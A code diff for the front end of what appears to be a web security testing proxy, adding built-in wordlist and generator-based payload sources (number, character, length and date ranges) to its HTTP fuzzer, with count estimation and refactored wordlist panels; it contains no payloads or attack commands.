import type { InterceptKind, PendingItem } from '../stores/interceptStore'
import type { PayloadSource, WordlistCatalog } from './fuzzSources'
import type { ChatMessage, ActiveUser } from '../stores/teamStore'
import type { FlaggedSummary, FlaggedRequest } from '../stores/teamFlaggedStore'
import type { SharedConfigSummary, SharedConfig, SharedConfigPayload } from '../stores/teamSharedConfigStore'
@@ -1181,6 +1182,8 @@ export const api = {
raw: string; scheme: string; host: string;
wordlist?: string[];
wordlists?: Record<string, string[]>;
source?: PayloadSource;
sources?: Record<string, PayloadSource>;
attackMode?: string;
threads: number; rateLimit: number; followRedirects: boolean;
updateContentLength?: boolean;
@@ -1190,6 +1193,9 @@ export const api = {
matcherMode: string; filterMode: string;
maxStoredBodies?: number;
}) => req<{ campaignId: string; total: number }>('POST', '/fuzzer/start', params),
fuzzListWordlists: () => req<WordlistCatalog>('GET', '/fuzzer/wordlists'),
fuzzPreviewSource: (source: PayloadSource) =>
req<{ count: number; sample: string[]; exceedsLimit: boolean }>('POST', '/fuzzer/wordlist/preview', source),
fuzzStop: (id: string) => req<{ status: string }>('POST', `/fuzzer/${id}/stop`),
fuzzListCampaigns: () => req<{ campaigns: Array<{ id: string; status: string; createdAt: string; total: number; completed: number; errors: number }> }>('GET', '/fuzzer/campaigns'),
fuzzGetCampaign: (id: string, offset?: number, limit?: number) => {
+135
View File
@@ -0,0 +1,135 @@
// Payload-source model for the Fuzzer, mirroring internal/fuzzer/sources.go.
//
// A source is a compact spec (a built-in list id, or generator parameters) that
// the server resolves into payloads, so a huge numeric range never travels inline.
// `sourceCount` is a client-side mirror of the Go Count() for instant estimates;
// the server is authoritative and rejects anything over the cap, so drift only
// mis-estimates and self-heals on start. Keep the two in sync.
export type SourceKind = 'builtin' | 'numbers' | 'chars' | 'lengths' | 'dates'
// How a position gets its payloads in the UI. 'manual' is the textarea/upload path
// and never becomes a PayloadSource — it travels inline as string[].
export type SourceMode = 'manual' | 'builtin' | 'generator'
export interface PayloadSource {
kind: SourceKind
// builtin
list?: string
// numbers
numberMode?: 'range' | 'digits'
min?: number
max?: number
step?: number
minDigits?: number
maxDigits?: number
pad?: number
hex?: boolean
upper?: boolean
prefix?: string
suffix?: string
// chars / lengths
charset?: string
minLen?: number
maxLen?: number
char?: string
// dates
dateStart?: string
dateEnd?: string
dateFmt?: string
dateStep?: number
}
export interface BuiltinInfo {
id: string
label: string
description: string
category: string
count: number
}
export interface GeneratorInfo {
id: string
label: string
description: string
}
export interface WordlistCatalog {
builtins: BuiltinInfo[]
generators: GeneratorInfo[]
}
export const MAX_GENERATED_PAYLOADS = 10_000_000
// Default parameters when a generator is first selected.
export function defaultSource(kind: SourceKind): PayloadSource {
switch (kind) {
case 'numbers':
return { kind, numberMode: 'range', min: 0, max: 100, step: 1, pad: 0 }
case 'chars':
return { kind, charset: 'abcdefghijklmnopqrstuvwxyz', minLen: 1, maxLen: 2 }
case 'lengths':
return { kind, char: 'A', minLen: 1, maxLen: 100, step: 1 }
case 'dates':
return { kind, dateStart: '2020-01-01', dateEnd: '2020-12-31', dateFmt: '2006-01-02', dateStep: 1 }
case 'builtin':
return { kind, list: '' }
}
}
// sourceCount mirrors Go PayloadSource.Count(): the resolved length, or -1 when the
// spec is invalid/incomplete (so the UI can disable Start without throwing).
export function sourceCount(src: PayloadSource | undefined, catalog: WordlistCatalog | null): number {
if (!src) return -1
switch (src.kind) {
case 'builtin': {
const found = catalog?.builtins.find(b => b.id === src.list)
return found ? found.count : -1
}
case 'numbers': {
if (src.numberMode === 'digits') {
const lo = src.minDigits ?? 0
const hi = src.maxDigits ?? 0
if (lo < 1 || hi < lo || hi > 18) return -1
let total = 0
for (let w = lo; w <= hi; w++) {
total += Math.pow(10, w)
if (total > MAX_GENERATED_PAYLOADS) return total
}
return total
}
const step = src.step && src.step !== 0 ? src.step : 1
const min = src.min ?? 0
const max = src.max ?? 0
if (step < 0 || max < min) return -1
return Math.floor((max - min) / step) + 1
}
case 'chars': {
const n = (src.charset ?? '').length
const lo = src.minLen ?? 0
const hi = src.maxLen ?? 0
if (n === 0 || lo < 1 || hi < lo) return -1
let total = 0
for (let l = lo; l <= hi; l++) {
total += Math.pow(n, l)
if (total > MAX_GENERATED_PAYLOADS) return total
}
return total
}
case 'lengths': {
const step = src.step && src.step !== 0 ? src.step : 1
const lo = src.minLen ?? 0
const hi = src.maxLen ?? 0
if (step < 0 || lo < 1 || hi < lo) return -1
return Math.floor((hi - lo) / step) + 1
}
case 'dates': {
const start = Date.parse(src.dateStart ?? '')
const end = Date.parse(src.dateEnd ?? '')
const step = src.dateStep && src.dateStep !== 0 ? src.dateStep : 1
if (isNaN(start) || isNaN(end) || end < start || step < 0) return -1
const days = Math.floor((end - start) / 86_400_000) + 1
return Math.floor((days - 1) / step) + 1
}
}
}
+78 -149
View File
@@ -17,6 +17,8 @@ import { ResponseRender, usePrettyJson } from '../components/ResponseRender'
import LensOutput from '../components/LensOutput'
import TabButton from '../components/TabButton'
import { useLenses } from '../lib/lenses'
import PayloadSourcePanel from '../components/fuzz/PayloadSourcePanel'
import { sourceCount, type WordlistCatalog } from '../lib/fuzzSources'
function b64Encode(s: string) { try { return btoa(s) } catch { return s } }
function b64Decode(s: string) { try { return atob(s) } catch { return s } }
@@ -169,10 +171,14 @@ export default function Fuzz() {
const { tabs, activeTabId, addTab, removeTab, renameTab, setActiveTab, ...store } = useFuzzStore()
const tab = tabs.find((t) => t.id === activeTabId) ?? tabs[0]
const fileInputRef = useRef<HTMLInputElement>(null)
const posFileInputRef = useRef<HTMLInputElement>(null)
const editorViewRef = useRef<EditorView | null>(null)
// Built-in list + generator catalog, fetched once.
const [catalog, setCatalog] = useState<WordlistCatalog | null>(null)
useEffect(() => {
api.fuzzListWordlists().then(setCatalog).catch(() => setCatalog(null))
}, [])
// Tab rename state
const [editingTabId, setEditingTabId] = useState<string | null>(null)
const [editName, setEditName] = useState('')
@@ -268,35 +274,39 @@ export default function Fuzz() {
return tab.wordlist.split('\n').filter(l => l.trim() !== '')
}, [tab.wordlist])
// Payload count for a position, honoring its source (built-in/generator) over
// the manual textarea. A source with an invalid/incomplete spec counts as 0.
const singleCount = tab.source ? Math.max(0, sourceCount(tab.source, catalog)) : wordlistLines.length
const positionCount = useCallback((pw: { wordlist: string; source?: Parameters<typeof sourceCount>[0] }) => {
if (pw.source) return Math.max(0, sourceCount(pw.source, catalog))
return pw.wordlist.split('\n').filter(l => l.trim() !== '').length
}, [catalog])
// Determine if we can start based on wordlist state
const canStart = useMemo(() => {
if (detectedPositions.length === 0) return false
if (!isMultiPosition) return wordlistLines.length > 0
if (tab.attackMode === 'spray') return wordlistLines.length > 0
// split/yolo: all position wordlists must have content
return tab.positionWordlists.every(pw => pw.wordlist.split('\n').some(l => l.trim() !== ''))
}, [detectedPositions, isMultiPosition, wordlistLines, tab.attackMode, tab.positionWordlists])
if (!isMultiPosition) return singleCount > 0
if (tab.attackMode === 'spray') return singleCount > 0
// split/yolo: every position must have content
return tab.positionWordlists.every(pw => positionCount(pw) > 0)
}, [detectedPositions, isMultiPosition, singleCount, tab.attackMode, tab.positionWordlists, positionCount])
// Estimated total for display
const estimatedTotal = useMemo(() => {
if (!canStart) return 0
if (!isMultiPosition) return wordlistLines.length
if (!isMultiPosition) return singleCount
switch (tab.attackMode) {
case 'spray':
return wordlistLines.length
case 'split': {
const lengths = tab.positionWordlists.map(pw => pw.wordlist.split('\n').filter(l => l.trim()).length)
return Math.min(...lengths)
}
return singleCount
case 'split':
return Math.min(...tab.positionWordlists.map(positionCount))
case 'yolo': {
let product = 1
for (const pw of tab.positionWordlists) {
product *= pw.wordlist.split('\n').filter(l => l.trim()).length
}
for (const pw of tab.positionWordlists) product *= positionCount(pw)
return product
}
}
}, [canStart, isMultiPosition, wordlistLines, tab.attackMode, tab.positionWordlists])
}, [canStart, isMultiPosition, singleCount, tab.attackMode, tab.positionWordlists, positionCount])
// Compute speed
const speedRef = useRef({ times: [] as number[] })
@@ -387,28 +397,31 @@ export default function Fuzz() {
let res: { campaignId: string; total: number }
if (!isMultiPosition) {
// Single-position
// Single-position: a source resolves server-side, else send the manual lines.
res = await api.fuzzStart({
...baseParams,
wordlist: wordlistLines,
...(tab.source ? { source: tab.source } : { wordlist: wordlistLines }),
fuzzKeyword: tab.fuzzKeyword || 'FUZZ',
})
} else if (tab.attackMode === 'spray') {
// Multi-position spray: same wordlist for all
// Multi-position spray: one source/wordlist used for all positions.
res = await api.fuzzStart({
...baseParams,
wordlist: wordlistLines,
...(tab.source ? { source: tab.source } : { wordlist: wordlistLines }),
attackMode: 'spray',
})
} else {
// Multi-position split/yolo: per-position wordlists
// Multi-position split/yolo: each position sends a source or inline lines.
const wordlists: Record<string, string[]> = {}
const sources: Record<string, NonNullable<typeof tab.source>> = {}
for (const pw of tab.positionWordlists) {
wordlists[pw.position] = pw.wordlist.split('\n').filter(l => l.trim() !== '')
if (pw.source) sources[pw.position] = pw.source
else wordlists[pw.position] = pw.wordlist.split('\n').filter(l => l.trim() !== '')
}
res = await api.fuzzStart({
...baseParams,
wordlists,
...(Object.keys(wordlists).length ? { wordlists } : {}),
...(Object.keys(sources).length ? { sources } : {}),
attackMode: tab.attackMode,
})
}
@@ -428,24 +441,6 @@ export default function Fuzz() {
}
}
function handleFileUpload(e: React.ChangeEvent<HTMLInputElement>) {
const file = e.target.files?.[0]
if (!file) return
const reader = new FileReader()
reader.onload = () => store.setWordlist(reader.result as string, file.name)
reader.readAsText(file)
e.target.value = ''
}
function handlePositionFileUpload(position: string, e: React.ChangeEvent<HTMLInputElement>) {
const file = e.target.files?.[0]
if (!file) return
const reader = new FileReader()
reader.onload = () => store.setPositionWordlist(position, reader.result as string, file.name)
reader.readAsText(file)
e.target.value = ''
}
function addFuzzLocation() {
const view = editorViewRef.current
if (!view) return
@@ -798,119 +793,53 @@ export default function Fuzz() {
{/* Wordlist panel */}
<div className="flex flex-col overflow-hidden min-h-0" style={{ flex: 1 - hSplit.fraction }}>
{showSingleWordlist ? (
<>
{/* Single wordlist header */}
<div className="flex items-center gap-1 px-2 py-1 bg-surface-card border-b border-border shrink-0">
<span className="text-xs text-content-muted">
Wordlist ({formatNumber(wordlistLines.length)} payloads)
</span>
{tab.wordlistFileName && (
<span className="text-xs text-content-secondary ml-1 truncate max-w-32">{tab.wordlistFileName}</span>
)}
<div className="flex items-center gap-1 ml-auto">
<label className="text-xs px-2 py-0.5 rounded-sm bg-surface-input hover:bg-surface-hover text-content-secondary cursor-pointer">
Upload
<input
ref={fileInputRef}
type="file"
accept=".txt,.lst,.list,.wordlist,text/*"
onChange={handleFileUpload}
className="hidden"
disabled={isRunning}
/>
</label>
{tab.wordlist && (
<Tooltip content="Clear wordlist">
<button
onClick={() => store.setWordlist('')}
className="text-xs text-content-muted hover:text-semantic-error px-1 inline-flex items-center"
disabled={isRunning}
>
<X size={12} />
</button>
</Tooltip>
)}
</div>
</div>
<textarea
value={tab.wordlist}
onChange={(e) => store.setWordlist(e.target.value)}
className="flex-1 bg-surface-input text-xs font-mono px-2 py-1 resize-none outline-none text-content-primary"
placeholder="Paste wordlist here (one payload per line) or upload a file..."
readOnly={isRunning}
spellCheck={false}
/>
</>
<PayloadSourcePanel
label="Wordlist"
placeholder="Paste wordlist here (one payload per line) or upload a file..."
wordlist={tab.wordlist}
wordlistFileName={tab.wordlistFileName}
source={tab.source}
catalog={catalog}
disabled={isRunning}
onWordlistChange={(v, fn) => store.setWordlist(v, fn)}
onSourceChange={(src) => store.setSource(src)}
/>
) : (
<>
{/* Multi-position wordlist tabs */}
<div className="flex items-center bg-surface-card border-b border-border shrink-0 overflow-x-auto">
{tab.positionWordlists.map((pw, idx) => {
const lines = pw.wordlist.split('\n').filter(l => l.trim()).length
return (
<button
key={pw.position}
onClick={() => store.setSelectedPositionTab(pw.position)}
className={`flex items-center gap-1 px-3 py-1 text-xs border-b-2 shrink-0 ${
activeWlTab === pw.position
? 'text-content-primary border-accent'
: 'text-content-muted hover:text-content-secondary border-transparent'
}`}
>
<span
className="inline-block w-2 h-2 rounded-sm"
style={{ background: positionTabColor(idx) }}
/>
{pw.position}
<span className="text-[10px] text-content-muted">({lines})</span>
</button>
)
})}
{tab.positionWordlists.map((pw, idx) => (
<button
key={pw.position}
onClick={() => store.setSelectedPositionTab(pw.position)}
className={`flex items-center gap-1 px-3 py-1 text-xs border-b-2 shrink-0 ${
activeWlTab === pw.position
? 'text-content-primary border-accent'
: 'text-content-muted hover:text-content-secondary border-transparent'
}`}
>
<span
className="inline-block w-2 h-2 rounded-sm"
style={{ background: positionTabColor(idx) }}
/>
{pw.position}
<span className="text-[10px] text-content-muted">({formatNumber(positionCount(pw))})</span>
</button>
))}
</div>
{/* Active position wordlist */}
{activePositionWl && (
<>
<div className="flex items-center gap-1 px-2 py-1 bg-surface-card border-b border-border shrink-0">
<span className="text-xs text-content-muted">
{activeWlTab} ({formatNumber(activePositionWl.wordlist.split('\n').filter(l => l.trim()).length)} payloads)
</span>
{activePositionWl.wordlistFileName && (
<span className="text-xs text-content-secondary ml-1 truncate max-w-32">{activePositionWl.wordlistFileName}</span>
)}
<div className="flex items-center gap-1 ml-auto">
<label className="text-xs px-2 py-0.5 rounded-sm bg-surface-input hover:bg-surface-hover text-content-secondary cursor-pointer">
Upload
<input
ref={posFileInputRef}
type="file"
accept=".txt,.lst,.list,.wordlist,text/*"
onChange={(e) => handlePositionFileUpload(activeWlTab, e)}
className="hidden"
disabled={isRunning}
/>
</label>
{activePositionWl.wordlist && (
<Tooltip content="Clear wordlist">
<button
onClick={() => store.setPositionWordlist(activeWlTab, '')}
className="text-xs text-content-muted hover:text-semantic-error px-1 inline-flex items-center"
disabled={isRunning}
>
<X size={12} />
</button>
</Tooltip>
)}
</div>
</div>
<textarea
value={activePositionWl.wordlist}
onChange={(e) => store.setPositionWordlist(activeWlTab, e.target.value)}
className="flex-1 bg-surface-input text-xs font-mono px-2 py-1 resize-none outline-none text-content-primary"
placeholder={`Paste wordlist for ${activeWlTab} (one payload per line) or upload a file...`}
readOnly={isRunning}
spellCheck={false}
/>
</>
<PayloadSourcePanel
key={activeWlTab}
label={activeWlTab}
placeholder={`Paste wordlist for ${activeWlTab} (one payload per line) or upload a file...`}
wordlist={activePositionWl.wordlist}
wordlistFileName={activePositionWl.wordlistFileName}
source={activePositionWl.source}
catalog={catalog}
disabled={isRunning}
onWordlistChange={(v, fn) => store.setPositionWordlist(activeWlTab, v, fn)}
onSourceChange={(src) => store.setPositionSource(activeWlTab, src)}
/>
)}
</>
)}
+18
View File
@@ -1,5 +1,6 @@
import { create } from 'zustand'
import { api } from '../lib/api'
import type { PayloadSource } from '../lib/fuzzSources'
export interface FuzzResult {
index: number
@@ -50,6 +51,9 @@ export interface PositionWordlist {
position: string
wordlist: string
wordlistFileName: string
// A built-in list or generator, resolved server-side. Undefined = manual
// (use the wordlist text above). source.kind distinguishes built-in vs generator.
source?: PayloadSource
}
export interface FuzzTab {
@@ -64,6 +68,8 @@ export interface FuzzTab {
// Wordlist (single-position)
wordlist: string
wordlistFileName: string
// Single-position / spray payload source. Undefined = manual (use wordlist text).
source?: PayloadSource
// Multi-position wordlists
positionWordlists: PositionWordlist[]
@@ -126,6 +132,8 @@ interface FuzzState {
setRawReq: (v: string) => void
setWordlist: (v: string, fileName?: string) => void
setPositionWordlist: (position: string, wordlist: string, fileName?: string) => void
setSource: (source: PayloadSource | undefined) => void
setPositionSource: (position: string, source: PayloadSource | undefined) => void
setAttackMode: (mode: AttackMode) => void
setSelectedPositionTab: (tab: string) => void
syncPositionWordlists: (positions: string[]) => void
@@ -279,6 +287,16 @@ export const useFuzzStore = create<FuzzState>((set) => ({
),
})
}),
setSource: (source) => set((s) => updateActiveTab(s, { source })),
setPositionSource: (position, source) => set((s) => {
const tab = s.tabs.find((t) => t.id === s.activeTabId)
if (!tab) return s
return updateActiveTab(s, {
positionWordlists: tab.positionWordlists.map((pw) =>
pw.position === position ? { ...pw, source } : pw
),
})
}),
setAttackMode: (mode) => set((s) => updateActiveTab(s, { attackMode: mode })),
setSelectedPositionTab: (tab) => set((s) => updateActiveTab(s, { selectedPositionTab: tab })),
syncPositionWordlists: (positions) => set((s) => {